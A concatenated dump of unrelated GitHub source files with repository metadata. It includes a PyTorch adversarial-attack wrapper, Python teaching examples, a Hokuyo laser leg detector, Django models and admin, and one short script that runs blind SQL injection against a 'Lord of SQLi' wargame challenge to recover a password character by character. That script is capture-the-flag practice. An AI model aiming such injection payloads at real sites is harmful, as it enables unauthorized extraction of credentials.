from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==39.1.0', 'console_scripts', 'easy_install-3.7')()
)
|
[
"leo.sandler@greenwoodcollege.com"
] |
leo.sandler@greenwoodcollege.com
|
e2854eed89c1aacd6616ff22b4563c7d1f74d2dd
|
395b2e9718eeb5035995130b2377c47b8df05614
|
/fourier_attack/attack/attack.py
|
e2304a76e69349a401a7f3f4b3cd27213bc02a70
|
[] |
no_license
|
gatheluck/fourier-attack
|
0a6d773e268bf1e480f04a43dcc72905af804b43
|
1668f0d2eed6182cb69904c49fe223e78cb5d0cc
|
refs/heads/master
| 2023-03-10T05:15:10.897205
| 2021-03-01T08:19:10
| 2021-03-01T08:19:10
| 320,191,916
| 1
| 0
| null | 2021-03-01T08:19:11
| 2020-12-10T07:21:19
|
Python
|
UTF-8
|
Python
| false
| false
| 5,664
|
py
|
import random
from typing import Optional, Tuple
import torch
import fourier_attack.util
def get_eps(
batch_size: int,
eps_max: float,
step_size_max: float,
scale_eps: bool,
scale_each: bool,
device: Optional[torch.device],
) -> Tuple[torch.Tensor, torch.Tensor]:
"""return total purturbation and single step size.
Args:
batch_size (int): The size of batch.
eps_max (float): The maximum purturbation size.
step_size_max (float): The maximum size of single step.
scale_eps (bool): If True, randomly scale purturbation size.
scale_each (bool): If True, scale eps independently.
device (torch.device, optional): The device used for calculation.
Returns:
Tuple[torch.Tensor, torch.Tensor]: The tuple of eps and step_size which is used for every update.
"""
if scale_eps:
# calculate scaling factor
if scale_each:
rand = torch.rand(batch_size, device=device)
else:
rand = random.random() * torch.ones(batch_size, device=device)
# scale eps and step size
base_eps = rand.mul(eps_max)
step_size = rand.mul(step_size_max)
return base_eps, step_size
else:
base_eps = eps_max * torch.ones(batch_size, device=device)
step_size = step_size_max * torch.ones(batch_size, device=device)
return base_eps, step_size
class PixelModel(torch.nn.Module):
"""Differetiable model in pixel space.
This model takes input in unnormalized pixcel space: [0, 255.].
Output tensor is in unit space: [0, 1.].
Attributes:
device(torch.device): The device used for calculation.
model (torch.nn.Module): The torch model in unit space.
normalizer (fourier_attack.util.Normalizer): The normalizer from pixel space.
"""
def __init__(
self,
model: torch.nn.Module,
input_size: int,
mean: Tuple[float, float, float],
std: Tuple[float, float, float],
device: Optional[torch.device],
) -> None:
"""
Args:
model (torch.nn.Module): The torch model in unit space.
input_size (int): The size of input image which is represented by 2D tensor.
mean (Tuple[float, float, float]): The mean of input data distribution.
std (Tuple[float, float, float]): The standard diviation of input data distribution.
device(torch.device, optional): The device used for calculation.
"""
super().__init__()
self.device = device
self.model = model.to(self.device)
self.normalizer = fourier_attack.util.Normalizer(
input_size, mean, std, device=self.device
)
def forward(self, pixel_x: torch.Tensor) -> torch.Tensor:
"""Normalize and forward input.
Args:
pixel_x (torch.Tensor): The input tensor lies in unnormzlized pixel space.
Returns:
torch.Tensor: The output from the model.
"""
x = self.normalizer(pixel_x) # rescale [0, 255] -> [0, 1] and normalize
return self.model(x) # IMPORTANT: this return is in [0, 1]
class AttackWrapper(torch.nn.Module):
"""The wrapper of all attaker class.
Attributes:
input_size (int): The size of input image which is represented by 2D tensor.
mean (Tuple[float, float, float]): The mean of input data distribution.
std (Tuple[float, float, float]): The standard diviation of input data distribution.
device(torch.device, optional): The device used for calculation.
"""
def __init__(
self,
input_size: int,
mean: Tuple[float, float, float],
std: Tuple[float, float, float],
device: Optional[torch.device],
):
"""
Args:
input_size (int): The size of input image which is represented by 2D tensor.
mean (Tuple[float, float, float]): The mean of input data distribution.
std (Tuple[float, float, float]): The standard diviation of input data distribution.
device(torch.device, optional): The device used for calculation.
normalizer (fourier_attack.util.Normalizer): The normalizer from pixel space.
denormalizer (fourier_attack.util.Denormalizer): The denormalizer to pixel space.
"""
super().__init__()
self.input_size = input_size
self.mean = mean
self.std = std
self.device = device
self.normalizer = fourier_attack.util.Normalizer(
self.input_size, self.mean, self.std, device=self.device
)
self.denormalizer = fourier_attack.util.Denormalizer(
self.input_size, self.mean, self.std, device=self.device
)
def forward(
self, model: torch.nn.Module, x: torch.Tensor, *args, **kwargs
) -> torch.Tensor:
"""Return perturbated input.
Args:
model (torch.nn.Module): The target NN model.
x (torch.Tensor): The input tensor lies in normzlized unit space.
Returns:
torch.Tensor: The perturbed input in unit space [0,1].
"""
was_training = model.training
pixel_model = PixelModel(
model, self.input_size, self.mean, self.std, self.device
)
pixel_model.eval()
# forward input to pixel space
pixel_x = self.denormalizer(x.detach())
pixel_return = self._forward(pixel_model, pixel_x, *args, **kwargs) # type: ignore
if was_training:
pixel_model.train()
return self.normalizer(pixel_return)
|
[
"gatheluck+tech@gmail.com"
] |
gatheluck+tech@gmail.com
|
33ece3d78ed293db1f08c38062da3290f6dd3fbd
|
16cb17ab60d9d57966ef5c6fe13515e9e35a6ecb
|
/lectures/INFO501/CM5/src/examples.py
|
2eb52fbbe910e35a342b12acb0fa0d4a7752fa40
|
[] |
no_license
|
AmmarMian/ammarmian.github.io
|
a2c7861ccbcd090b696e59c40c720a7ebb9194b0
|
b5f155488a7a9cae71cae9fca471ba9586d6d029
|
refs/heads/master
| 2023-01-24T00:11:00.211153
| 2022-12-26T16:56:33
| 2022-12-26T16:56:33
| 153,121,018
| 0
| 0
| null | 2023-01-06T21:38:00
| 2018-10-15T13:47:35
|
HTML
|
UTF-8
|
Python
| false
| false
| 972
|
py
|
class my_class():
def __init__(self) -> None:
self.my_attribute = 0
def set_my_attribute(self, new_value):
self.my_attribute = new_value
my_instance = my_class()
print(type(my_instance))
print(my_instance.my_attribute)
my_instance.set_my_attribute(1)
print(my_instance.my_attribute)
def empiler(x):
pile.append(x)
def depiler():
return pile.pop()
# Création d'une pile vide
pile = []
# Empilage de 3 livres
empiler({'auteur': 'George Orwel', 'titre': '1984', 'annee': 1949})
empiler({'auteur': 'Isaac Asimov', 'titre': 'I, Robot', 'annee': 1950})
empiler({'auteur': 'Jules Verne', 'titre': 'Vingt mille lieues sous les mers', 'annee': 1869})
# Affichage de la pile
print(pile)
# Dépilage d'un livre et affichage du titre
x = depiler()
print(x['titre'])
# Affichage de la pile
print(pile)
# Empilage d'un nouveau livre
empiler({'auteur': 'Frank Herbert', 'titre': 'Dune', 'annee': 1965})
# Affichage de la pile
print(pile)
|
[
"ammar.mian@univ-smb.fr"
] |
ammar.mian@univ-smb.fr
|
df897b33613b0d934ced7f2240e56da2350b6c6c
|
e0b54721275627fdbb90d0325b7639d16de897f1
|
/rain_shuffle/hour_cat.py
|
ece92a8bce367e12fc9ea7abb647c02eeacf7d93
|
[] |
no_license
|
zwx1306/Rainfall_Prediction
|
527156b58c4cd6282b8897640965cdadb87c7366
|
4923a41900aa5f0cea0488fd3954e15159e39ea0
|
refs/heads/main
| 2023-06-28T20:37:39.392014
| 2021-07-30T08:11:28
| 2021-07-30T08:11:28
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 710
|
py
|
import pandas as pd
import numpy as np
import os
record=pd.read_csv('sudeste.csv')
path ='./hour_data'
if os.path.exists(path):
pass
else:
os.mkdir(path)
print(record.columns)
print(record.index)
print(record.head())
print(record[record.wsid==178].head())
print(record.wsid.value_counts())
#获得数据的气象点标签
idx = record.wsid.values
idx= np.unique(idx)
idx_num=record.wsid.value_counts()
#保存数据较多的气象点 并按天得到数据的整理
for i in idx:
if idx_num[i]>=120000:
df=record[record.wsid==i]
else:
continue
df = df.dropna(axis=0, how='all')
df = df.fillna(value=0)
df.to_csv('{}/hour{}.csv'.format(path,i))
print('yy')
|
[
"noreply@github.com"
] |
zwx1306.noreply@github.com
|
086d4ef5658973ed975e93ea706be5b7256ebbcd
|
88c7c66473c58083d92d87597d0925398859e233
|
/venv/RecoverySession2.py
|
a76f947a03c7c823ccf10f719576cb0a68dd90a5
|
[] |
no_license
|
ishantk/GW2019C
|
509e9281e4056fe4cc22451273fc55a63920570a
|
ab3164d728f01425138a5e640702ede6ce861c35
|
refs/heads/master
| 2020-05-05T03:12:26.978124
| 2019-05-30T11:10:41
| 2019-05-30T11:10:41
| 179,664,113
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,986
|
py
|
"""
OOPS
====
Object Oriented Programming Structure
Design Methodolgy
Object
Anything which we can see and touch
Realtiy
real time Entity
Class
Representation of an Object
Drawing of an Object
1. Think of an Object
2. Create its drawing
3. Looking from the drawing create it in real
Computer Science
Object is a multi value container
it can store lot of data | Same Type (Homo), Diff Type (Hetro)
Food Delivery App
User should register in app. User should add his address.
User shall select a restaurant and select dishes from restaurant and finally place an order.
User shall make payments online or COD.
User : name, phone, email, gender, age
Address : adrsLine, city, state, zipCode, landmark
Restaurant : name, phone, email, address....
Dish : name, description, price, type, category
Order : oid, date, time, price
Class : Textual Representation of an Object
1. Think of an Object
2. Create its drawing / class
3. Looking from the drawing create it in real i.e. create an object
"""
# 1. Think of an Object: User : name, phone, email, gender, age
# 2. Create its Textual Representation i.e. class
class User:
pass
# 3. From Class Create Real Objects
u1 = User() # Object Construction Statement
u2 = User() # Object Construction Statement
u3 = u1 # Reference Copy
print("u1 is:",u1)
print("u2 is:",u2)
print("u3 is:",u3)
# u1 and u2 are not objects, they are reference variables
# reference variables shall hold hashcode of Objects
# Create and write data in object
u1.name = "John"
u1.phone = "+91 99999 88888"
u1.email = "john@example.com"
u3.age = 20
u1.gender = "M"
u2.name = "Fionna"
u2.phone = "+91 77777 88888"
u2.email = "fionna@example.com"
u2.age = 23
u2.gender = "F"
u2.income = 50000
u2.weight = 55
# update data in object
u2.name = "Fionna Flynn"
u1.age = 33
# View data in Object
print(u1.__dict__)
print(u2.__dict__)
print(u3.__dict__)
# Delete Data From Object
del u1.gender
del u2.email
print(u1.__dict__)
print(u2.__dict__)
|
[
"er.ishant@gmail.com"
] |
er.ishant@gmail.com
|
f03123bdae6c59fd6c1b994ccb0ecd8a3b80b0f0
|
b12b035a48e0d1e89e6055b54f9fa48eadf25e07
|
/leg_detector.py
|
858adb3ad063d6c12ecbee41ec71747362b5a739
|
[] |
no_license
|
jonathan11ch/LaserScan
|
6929a7143e43137e3a226662e1cc460a1a7d5406
|
8eaa8b43ff61bb00cb53610de933faa036ca9c0d
|
refs/heads/master
| 2020-04-24T12:31:14.770666
| 2019-02-21T23:17:21
| 2019-02-21T23:17:21
| 171,957,940
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 7,335
|
py
|
#Author: Juan Lara
import hokuyo.hokuyo as hokuyo
import hokuyo.lib.serial_port as serial_port
import sensors
import serial
import time
import logging
import threading
import numpy as np
#import matplotlib.pyplot as plt
import scipy.signal as spy
import scipy.io
import warnings
import os
warnings.filterwarnings("ignore")
#%%
logging.basicConfig(level = logging.DEBUG, format = '[%(levelname)s] (%(threadName)-9s) %(message)s',)
# the [HokuyoLRF] class allows to initialize, acquire data and close the LRF sensor.
class HokuyoLRF(object):
def __init__(self,uart_speed = 115200,uart_port = "/dev/hokuyo",star_step = 300,stop_step = 468):
self.laser_serial = serial.Serial(port=uart_port, baudrate=uart_speed, timeout=0.5)
self.port = serial_port.SerialPort(self.laser_serial)
self.laser = hokuyo.Hokuyo(self.port)
self.star_step = star_step
self.stop_step = stop_step
logging.debug("baudrate: "+ str(uart_speed))
def laser_on(self):
self.laser.laser_on()
def laser_off(self):
self.laser.laser_off()
def read_one_scan(self):
return self.laser.get_single_scan(self.star_step, self.stop_step, 1)
#%%
class LegDetector(object):
def __init__(self, port = "COM25",name_csv = "Lrf_Data.csv",sample = 0.05):
self.go_on=True
self.__pause = False
#Sample time (default=0.25s)
self.__Ts=sample
#File name
self.__file=name_csv
#Hokuyo object
self.laser=HokuyoLRF(uart_port=port)
#Initialize LRF
self.laser.laser_on()
#%% function to acquire a single scan (takes around 0.1s)
#self.computer_serial=serial.Serial(port=port_pc,baudrate=4800,parity=serial.PARITY_NONE,stopbits=serial.STOPBITS_ONE,bytesize=serial.EIGHTBITS)
self.cont=0
self.t1=threading.Thread(target=self.laser_timer)
self.t1.start()
time.sleep(5)
self.t2=threading.Thread(target=self.process)
self.t2.start()
self.LDD_tot=np.array([])
self.LDD=np.array([])
self.max_time=np.array([])
self.cadence=np.array([])
self.speed=np.array([])
self.max_point=np.array([])
self.min_point=np.array([])
self.f=open('data_leg_detector.csv','w',os.O_NONBLOCK)
def laser_timer(self):
self.cont=0
while self.go_on:
#print "*" * 20
#print "cont increment: " + str(self.cont)
#print "*" * 20
self.cont=self.cont+0.05
time.sleep(0.05)
def pause(self):
self.__pause=True
def play(self):
self.__pause=False
def process(self):
while self.go_on:
if not self.__pause:
print "habemus data"
#Reading one scan from LRF
self.data_temp=self.laser.read_one_scan()
#If there is no data then continue
if not self.data_temp:
print "no data from Hokuyo, Reading again..."
continue
#Storing data as a numpy array
self.data=np.array(self.data_temp)
#Calling the legs segmentation method.
self.legs_segmentation()
if self.LDD.size<1 or self.cadence.size<1 or self.speed.size<1:
continue
print "writing file" + str(self.LDD[-1])+','+str(self.cadence[-1])+','+str(self.speed[-1])
self.f.write(str(self.LDD[-1])+','+str(self.cadence[-1])+','+str(self.speed[-1])+'\n')
self.f.flush()
time.sleep(0.01)
else:
time.sleep(1)
def legs_segmentation(self):
#Storing organized theta data
self.theta=self.data[:,0]
self.theta=self.theta[::-1]
#Storing organized radio data
self.radio=self.data[:,1]
self.radio=self.radio[::-1]
self.radio[self.radio>1600]=0
self.radio[self.radio<30]=1600
self.x_scan,self.y_scan=self.polar_xyz(self.theta,self.radio)
self.leg_indx=np.argmin(self.y_scan)
if self.LDD_tot.size<3:
self.LDD_tot=np.append(self.LDD_tot,self.y_scan[self.leg_indx])
return
else:
self.LDD_tot=np.append(self.LDD_tot,self.y_scan[self.leg_indx])
self.LDD_tot=np.delete(self.LDD_tot,0)
if self.LDD_tot[0]<self.LDD_tot[1] and self.LDD_tot[2]<self.LDD_tot[1]:
print "max"
if self.max_point.size<2:
self.max_point=np.append(self.max_point,self.LDD_tot[1])
self.max_time=np.append(self.max_time,self.cont)
else:
self.max_point=np.append(self.max_point,self.LDD_tot[1])
self.max_point=np.delete(self.max_point,0)
self.max_time=np.append(self.max_time,self.cont)
self.max_time=np.delete(self.max_time,0)
#print "########" + str(self.max_time[-2:-1])
print self.cont
elif self.LDD_tot[0]>self.LDD_tot[1] and self.LDD_tot[2]>self.LDD_tot[1]:
print "min"
if self.min_point.size<2:
self.min_point=np.append(self.min_point,self.LDD_tot[1])
else:
self.min_point=np.append(self.min_point,self.LDD_tot[1])
self.min_point=np.delete(self.min_point,0)
if self.max_point.size<2 or self.min_point.size<2:
return
if self.LDD.size<5:
self.LDD=np.append(self.LDD,(self.max_point[-1]-self.min_point[-1])*2)
self.cadence=np.append(self.cadence,1/(2*(self.max_time[-1]-self.max_time[-2])))
self.speed=np.append(self.speed,self.LDD[-1]*self.cadence[-1]*36/10000)
else:
temp=self.LDD[-10:-1]
temp=np.append(temp,(self.max_point[-1]-self.min_point[-1])*2)
temp2=self.cadence[-10:-1]
temp2=np.append(temp2,1/(2*(self.max_time[-1]-self.max_time[-2])))
self.LDD=np.append(self.LDD,np.mean(temp))
self.LDD=np.delete(self.LDD,0)
self.cadence=np.append(self.cadence,np.mean(temp2))
self.cadence=np.delete(self.cadence,0)
self.speed=np.append(self.speed,self.LDD[-1]*self.cadence[-1]*36/10000)
self.speed=np.delete(self.speed,0)
def get_data(self):
return self.LDD[-1],self.cadence[-1],self.speed[-1]
def close(self):
self.go_on=False
self.laser.laser_off()
self.laser.laser.terminate()
time.sleep(0.5)
self.f.close()
#%% The following method changes the corrdinate system from polar to cartesian.
#The method requires a theta and a radio value
def polar_xyz(self,theta,radio):
return radio*np.cos(theta*np.pi/180),radio*np.sin(theta*np.pi/180)
if __name__=='__main__':
a=LegDetector(port="/dev/ttyACM0")
#a.process()
a.play()
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
a.close()
##
## for i in range(30):
## time.sleep(1)
## print('Time is: '+str(i))
## print "data is: "+str(a.get_data())
## print "*"*20
## a.close()
##
|
[
"juan.lara-r@mail.escuelaing.edu.co"
] |
juan.lara-r@mail.escuelaing.edu.co
|
4bee78c231e3b173acceaafe7f41ba2852444791
|
995f48dc24216e62d60bc0bd5a86c0ecaa69e60b
|
/src/digispider/models/order.py
|
d917c835d0d4f7372779ec72619d0b487cbf0506
|
[
"MIT"
] |
permissive
|
alirezastack/digikala-spider
|
bb4903cce217936d0f69c744e1f28e47d6d0685d
|
293e8784e6f652d0e5b2fba3bf8a6580acd8da14
|
refs/heads/master
| 2022-11-13T02:10:32.929362
| 2020-07-05T08:35:17
| 2020-07-05T08:35:17
| 277,261,699
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 451
|
py
|
from mongoengine import Document, StringField, IntField
class Order(Document):
_id = IntField()
product_image = StringField()
product_title = StringField()
product_id = StringField()
product_variant_id = StringField()
order_no = IntField()
ordered_at = StringField()
finalized_order_at = StringField()
due_date = StringField()
default_price = IntField()
discount = IntField()
final_price = IntField()
|
[
"alireza.stack@gmail.com"
] |
alireza.stack@gmail.com
|
5baa8a3a635cd1557b9cdf63739cfbf3857564b2
|
188b2e42baeeb307ed987f47f933d52d2653117a
|
/Chapter7/myshop/orders/admin.py
|
436f4cc5fe8bdaed80743a1354c97c52dca0f012
|
[] |
no_license
|
Acowboyz/django-by-example
|
dc4375484fb91a048f51bd344be659a2a9fabc7f
|
dfcb8ea407f4aec2564d6b16a2b7a2d32d723ecb
|
refs/heads/master
| 2022-12-27T06:18:48.690421
| 2018-08-10T14:34:16
| 2018-08-10T14:34:16
| 143,476,883
| 0
| 0
| null | 2022-12-08T02:21:44
| 2018-08-03T22:01:27
|
Python
|
UTF-8
|
Python
| false
| false
| 535
|
py
|
# Register your models here.
from django.contrib import admin
from .models import OrderItem, Order
# Register your models here.
class OrderItemInline(admin.TabularInline):
model = OrderItem
raw_id_fields = ['product']
class OrderAdmin(admin.ModelAdmin):
list_display = ['id', 'first_name', 'last_name', 'email', 'address',
'postal_code', 'city', 'paid', 'created', 'updated']
list_filter = ['paid', 'created', 'updated']
inlines = [OrderItemInline]
admin.site.register(Order, OrderAdmin)
|
[
"felixlin@MacbookPro"
] |
felixlin@MacbookPro
|
5abcc344bd85f4744c0633a45d36fc620247f479
|
f542fbc3db590fc93ff50fcc075c8bec8bb4bc20
|
/Webhacking/los/LOS - darknight.py
|
b3137a77d6b4b01708991c13b2a8ff64e059cc2b
|
[] |
no_license
|
JissuPark/Wargame
|
6b048cc826a914df57fae66cb047b589c1492792
|
b1bd18d5b376fb169959219c0e4a776b71154e17
|
refs/heads/master
| 2022-12-05T18:40:44.708185
| 2020-09-05T14:57:26
| 2020-09-05T14:57:26
| 287,033,529
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 819
|
py
|
import requests
cooki = {'PHPSESSID': "otscuf8q15lrb320f1jnkt8c9j"}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
i = 1
key = "Hello admin"
pw_len = 0
while True:
params = {'no': "1||length(pw) like "+str(i)+"#"}
res = requests.get(url, params, cookies=cooki)
#print res.text
if key in res.text:
pw_len = i
break
i = i + 1
print i
print pw_len
for j in range(1,pw_len+1):
for k in range(48, 123):
if 58 <= k < 65:
continue
if 91 <= k < 97:
continue
params = {'no': "1 || id like 0x61646d696e && (left(right(pw,"+str(j)+"),1)) like char("+str(k)+")#"}
res2 = requests.get(url, params, cookies=cooki)
#
if key in res2.text:
print str(j) + " : " + chr(k)
|
[
"qkrwltn9412@gmail.com"
] |
qkrwltn9412@gmail.com
|
666f49d69c2a8038830dcc0bdac25f9259e0a941
|
b11e5545ae0de900a0bac981555d2584fbc719ce
|
/0x0F-python-object_relational_mapping/9-model_state_filter_a.py
|
8168b4e2b433d71ba3ab40334e2882e2e2daba27
|
[] |
no_license
|
AndresCallejasG/holbertonschool-higher_level_programming
|
6fa844002dad56545bc500c839e88cd5c71033f5
|
062fe54721ef0fb3c02da1a7d9b2327496b0838a
|
refs/heads/master
| 2022-12-19T00:23:09.277883
| 2020-09-28T20:19:18
| 2020-09-28T20:19:18
| 259,443,426
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 821
|
py
|
#!/usr/bin/python3
""" lists all State objects that contain the
letter a from the database hbtn_0e_6_usa
"""
import sys
from model_state import Base, State
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
if __name__ == "__main__":
""" Contains `a`
"""
my_host = 'localhost'
my_port = 3306
my_user = sys.argv[1]
my_passwd = sys.argv[2]
my_database = sys.argv[3]
engine = create_engine('mysql+mysqldb://{}:{}@{}:{}/{}'.format(
my_user, my_passwd, my_host, my_port, my_database))
Session = sessionmaker(bind=engine)
session = Session()
states = session.query(State).filter(State.name.contains('a'))\
.order_by(State.id)
for instance in states:
print("{}: {}".format(instance.id, instance.name))
session.close()
|
[
"andres.callejasg@gmail.com"
] |
andres.callejasg@gmail.com
|
7e9796851d34608e6ff00bdc24e577701b52eaf0
|
b9fbee0aa0155d48ceed914324b6b7a46c257dd7
|
/cricket_tales/urls.py
|
1e996785ea8f437c4cf50a179afa5f19a07e1e8f
|
[] |
no_license
|
nebogeo/cricket-tales
|
14e3c5b19599893b9610af9a09ad0eb0846ad92b
|
d71e119702049431b78dbf68e5e441c176f5e9ce
|
refs/heads/master
| 2020-12-20T23:29:45.151054
| 2016-05-31T10:33:20
| 2016-05-31T10:33:20
| 23,955,972
| 1
| 1
| null | 2015-11-25T13:09:14
| 2014-09-12T10:12:06
|
Python
|
UTF-8
|
Python
| false
| false
| 556
|
py
|
from django.conf.urls import patterns, include, url
from django.contrib import admin
import settings
admin.site.site_header = 'Wild Cricket Tales Admin'
admin.site.index_template = 'admin/ct_index.html'
admin.autodiscover()
urlpatterns = patterns('',
url(r'^', include('crickets.urls')),
url(r'^admin/', include(admin.site.urls)),
)
#if settings.DEBUG:
# static files (images, css, javascript, etc.)
urlpatterns += patterns('',
(r'^media/(?P<path>.*)$', 'django.views.static.serve', {
'document_root': settings.MEDIA_ROOT}))
|
[
"dave@fo.am"
] |
dave@fo.am
|
35806f37f1da3f6236899b92d18cad0180d8b30f
|
6554d695f3b5f44588f4d95b51d6f43f212d3611
|
/Set 3/pals20.py
|
f915b569c5aca1ec98f3bcc7bcc7add431d1bf7b
|
[] |
no_license
|
jomens235/cryptography_challenges-cryptopals
|
ef81e554887fe37a80cef68a199063cdde2a07c5
|
8df757f9c00faea1745f521838db829db414847b
|
refs/heads/main
| 2023-09-03T22:51:45.844555
| 2021-10-10T14:33:23
| 2021-10-10T14:33:23
| 415,604,892
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 827
|
py
|
from base64 import b64decode
from pals18 import ctr_mode, generate_random_bytes, crack_ctr_same_nonce
from Cryptodome.Cipher import AES
if __name__ == '__main__':
"""Crypto Pals Set 3 #20"""
original_plaintexts = []
ciphertexts = []
random_key = generate_random_bytes(AES.key_size[0])
# Reads in from file, contains list of encoded texts from website
with open("cryptopal20") as f:
for line in f:
original_plaintext = b64decode(line)
original_plaintexts.append(original_plaintext)
ciphertexts.append(ctr_mode(original_plaintext, random_key, 0))
cracked_plaintexts = crack_ctr_same_nonce(ciphertexts)
# Basically same as #19
for plaintext, original in zip(cracked_plaintexts, original_plaintexts):
print(plaintext)
|
[
"noreply@github.com"
] |
jomens235.noreply@github.com
|
f991444fd0388fa5edda440fa8e41c71677170df
|
6999b451f79ffd6fcb4b23024224ccb073c612eb
|
/Lab Practice/wk3/Q4.py
|
7961bb191bf64def973282b749d8478745c33dd2
|
[] |
no_license
|
bunnycou/CSET-Work
|
f47873fc77e56b67e521dc416f157ea659d71781
|
b307f01295c12e64c27822b92539db343820cdeb
|
refs/heads/main
| 2023-01-06T13:57:51.795714
| 2020-11-06T15:44:59
| 2020-11-06T15:44:59
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 325
|
py
|
############
# Question 4
############
print("\n-----\nQuestion 4 - Demonstrate formatting Numbers and Strings\n")
print(format(57.467657, "10.2f"))
print(format(57.467657, "10.2e"))
print(format(0.53457, "10.2%"))
print(format(57.467657, "<10.2f"))
print(format(59832, "10x"))
print(format("Fridays with pewdiepie", "20s"))
|
[
"noahjcou@gmail.com"
] |
noahjcou@gmail.com
|
273d9cd140c28edb0194b5f318a72f504c6cd7ad
|
97197bc6ac2e96a38b82c230882713f1f7ea5ae0
|
/signature_extractor-master/signature_extractor.py
|
9c8c78400cf5bd1b90c151622e9acf0df5aa207c
|
[
"MIT"
] |
permissive
|
vvs1999/Signature-extraction-using-connected-component-labeling
|
be4c88d1fc39d15c7abef7ff515fd722d8c7db37
|
5b89e40533b1661e33516989c723a4a1349017dd
|
refs/heads/main
| 2023-02-15T02:58:36.304481
| 2021-01-05T10:16:34
| 2021-01-05T10:16:34
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,133
|
py
|
import cv2
import numpy as np
from skimage import measure
from skimage.measure import label, regionprops
from skimage.color import label2rgb
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
from scipy import ndimage
from skimage import morphology
# read the input image
img = cv2.imread('20191201_170524.jpg', 0)
img = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)[1] # ensure binary
# connected component analysis by scikit-learn framework
blobs = img > img.mean()
blobs_labels = measure.label(blobs, background=1)
image_label_overlay = label2rgb(blobs_labels, image=img)
fig, ax = plt.subplots(figsize=(10, 6))
'''
# plot the connected components (for debugging)
ax.imshow(image_label_overlay)
ax.set_axis_off()
plt.tight_layout()
plt.show()
'''
the_biggest_component = 0
total_area = 0
counter = 0
average = 0.0
for region in regionprops(blobs_labels):
if region.area>10:
total_area = total_area + region.area
counter = counter + 1
#print region.area # (for debugging)
# take regions with large enough areas
if region.area >= 250:
if (region.area > the_biggest_component):
the_biggest_component = region.area
average = (total_area/counter)
print ("the_biggest_component: " + str(the_biggest_component))
print ("average: " + str(average))
# experimental-based ratio calculation, modify it for your cases
# a4_constant is used as a threshold value to remove connected pixels are smaller than a4_constant for A4 size scanned documents
a4_constant = ((average/84.0)*250.0)+100
print ("a4_constant: " + str(a4_constant))
# remove the connected pixels are smaller than a4_constant
b = morphology.remove_small_objects(blobs_labels, a4_constant)
# save the the pre-version which is the image is labelled with colors as considering connected components
plt.imsave('pre_version.png', b)
# read the pre-version
img = cv2.imread('pre_version.png', 0)
# ensure binary
img = cv2.threshold(img, 0, 255,cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1]
# save the the result
cv2.imwrite("output.png", img)
|
[
"noreply@github.com"
] |
vvs1999.noreply@github.com
|
802656e7ec32802c735c13bc6d074a520b00d54a
|
c8dc80a0082b2d59de0e1df24b25483f55510c57
|
/0x04-python-more_data_structures/3-common_elements.py
|
2abe9ec623fca31bface534ee215789c132627ac
|
[] |
no_license
|
Daransoto/holbertonschool-higher_level_programming
|
51d81fac1dc3a6bd0799283332a3bcf5e2480330
|
4fa5f95b462f0e22b1e87189d162f0cb8c5625b6
|
refs/heads/master
| 2020-07-22T23:03:01.184032
| 2020-02-13T21:36:18
| 2020-02-13T21:36:18
| 207,358,507
| 0
| 4
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 136
|
py
|
#!/usr/bin/python3
def common_elements(set_1, set_2):
if set_1 is None or set_2 is None:
return []
return set_1 & set_2
|
[
"901@holbertonschool.com"
] |
901@holbertonschool.com
|
f7956f28bd054b224c8a5964fd55a98276e4a704
|
1e780ef275761326bbcadaaa948101931472c30c
|
/alexandria/models/idna.py
|
bcde94c5ac42e5f8a6577e25e9936d04b74ae214
|
[
"ISC"
] |
permissive
|
cdunklau/alexandria
|
765ffaf08c51156cb7328e16ac84fbef287079f7
|
000f33ac36c54ebe09a0731072ae89c3fe6290b8
|
refs/heads/master
| 2021-01-23T21:28:09.472621
| 2015-02-09T04:50:57
| 2015-02-09T04:50:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 533
|
py
|
from pyramid.compat import (
text_type,
binary_type
)
from sqlalchemy.ext.hybrid import (
hybrid_property,
Comparator,
)
class IdnaComparator(Comparator):
def __eq__(self, other):
if isinstance(other, text_type):
other = other.encode('idna').decode('utf-8')
elif isinstance(other, binary_type):
other = other
else:
raise ValueError("Unable to encode to IDNA format.")
return self.__clause_element__() == other
|
[
"bertjw@regeer.org"
] |
bertjw@regeer.org
|
ba61313228a27eb30307fa0f6b008303bd0566e4
|
0e090992042e4472037e59acaaeeca78172f7572
|
/pset6/boss.py
|
17766ee795c57f64fd753074a10a7facf625f590
|
[] |
no_license
|
AgumaOgwal/cs50x
|
05bea0414926024a144ec7ad9221901ea7e01bac
|
ca9e69de1bfbdb2c4e2f7f3705e3b0e71db334f4
|
refs/heads/master
| 2018-10-16T02:34:41.458889
| 2018-07-12T07:41:35
| 2018-07-12T07:41:35
| 115,493,300
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 379
|
py
|
def main():
a = "Hello"
b= "Temperature"
final = substrings(b,2)
for word in final:
print(word)
def substrings(a,n):
list = []
for i in range(len(a)):
substr = a[i:n]
list.append(substr)
n = n + 1
if n > len(a):
break
return list
if __name__ == "__main__":
main()
|
[
"hrodney5@gmail.com"
] |
hrodney5@gmail.com
|
72074603d560c5b2c257a07d1d3fdfb028261867
|
12fce8ad79db96eda6b2dad052c422ec6d7874e7
|
/manager/GameInternalState.py
|
929b020bf71ddfabcd168d9f700bfe394dc19068
|
[
"Apache-2.0"
] |
permissive
|
mariantirlea/python-blackjack
|
